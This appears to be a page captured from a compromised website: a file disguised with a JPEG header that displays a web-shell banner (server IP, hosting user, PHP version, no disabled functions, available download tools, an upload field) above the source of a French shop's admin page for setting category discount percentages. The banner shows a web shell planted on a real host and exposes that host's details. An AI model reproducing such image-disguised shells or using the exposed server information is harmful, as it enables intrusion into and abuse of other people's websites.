ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/cp-admin/ |
Upload File : |
<?php
include_once('includes/header.php');
if (isset($_POST['edit'])) {
///////////////////////////
$requete = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['categories'] . " ORDER BY position");
while ($row = $requete->fetch()) {
$promo_id = $row['id'];
$prom_cat = $_POST[$promo_id];
$qid = $bdd->prepare("UPDATE " . $GLOBALS['db_table']['categories'] . "
SET promo = :promo WHERE id = :id");
$qid->execute(array(
'promo' => $prom_cat,
'id' => $promo_id));
// Produits
$requete2 = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['products'] . " p JOIN " . $GLOBALS['db_table']['products_categories'] . " pc ON p.id = pc.id_product WHERE pc.id_category = " . $promo_id);
while ($product = $requete2->fetch()) {
$prod_id = $product['id'];
$prod_discount = $product['discount'];
// if ($prod_discount >= $prom_cat) { $prom_finale = $prod_discount; }
// else { $prom_finale = $prom_cat; }
echo$prod_discount;
echo'<br />';
$qid = $bdd->prepare("UPDATE " . $GLOBALS['db_table']['products'] . "
SET discount_prod = :discount_prod WHERE id = :id");
$qid->execute(array(
'discount_prod' => $prod_discount,
'id' => $prod_id));
}
}
}
/////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////
?>
<div class="container">
<form class="form-horizontal" method="post" action="#" enctype="multipart/form-data">
<div class="row">
<div class="span12">
<div class="page-header">
<h1>Promotion en % pour les catégories produits</h1>
<div class="pull-right">
<button type="submit" name="edit" class="btn btn-success"><i class="icon-ok"></i> Enregistrer</button>
<?php
echo '<a href="index.php" class="btn btn-primary"><i class="icon-arrow-left"></i> Retour</a>';
?>
</div>
</div>
</div>
</div>
<b>Si le produit partage plusieurs catégories, c'est la remise de la catégorie principale qui est prise en compte !</b>
<br />
<br />
Si une remise inférieure existe déjà dans la fiche produit, c'est la remise de la catégorie qui est appliquée.
<br />
Si une remise supérieure existe déjà dans la fiche produit, c'est la remise de la fiche produit qui est appliquée.
<br />
<b>En clair, entre la remise du produit et celle de la catégorie c'est toujours la plus forte qui est prise en compte !</b>
<br />
<br />
Si la remise de la catégorie est abaissée à ZERO c'est la remise du produit qui reste par défaut (si elle existe).
<?php
echo '<div id="form-content" style="">';
echo '<div class="row-fluid">';
echo '<div class="span12">';
echo '<br /><br /><br />';
$requete = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['categories'] . " ORDER BY position");
while ($row = $requete->fetch()) {
echo '<div class="control-group">';
echo '<label class="control-label" for="promo"><b>' . $row['name'] .' %</b> :</label>';
echo '<div class="controls">';
echo '<input style="width:150px" name="' . $row['id'] . '" type="number" min="0" max="100" step="0.00001" value="' . $row['promo'] . '">';
echo ' <i>Cette remise sera appliquée sur tous les produits de la CATEGORIE : ' . $row['name'] . '</i>';
echo '</div>';
echo '</div>';
echo '<input name="id_cat" type="hidden" value="' . $row['id'] . '">';
}
?>
</div>
</div>
</div>
</form>
</div>
<script type="text/javascript" src="assets/js/chosen.jquery.js" ></script>
<script type="text/javascript">
var config = {
'.chosen-select' : {},
'.chosen-select-deselect' : {allow_single_deselect:true},
'.chosen-select-no-single' : {disable_search_threshold:10},
'.chosen-select-no-results': {no_results_text:'Oops, nothing found!'},
'.chosen-select-width' : {width:"95%"}
}
for (var selector in config) {
$(selector).chosen(config[selector]);
}
</script>
<?php
include_once('includes/footer.php');
?>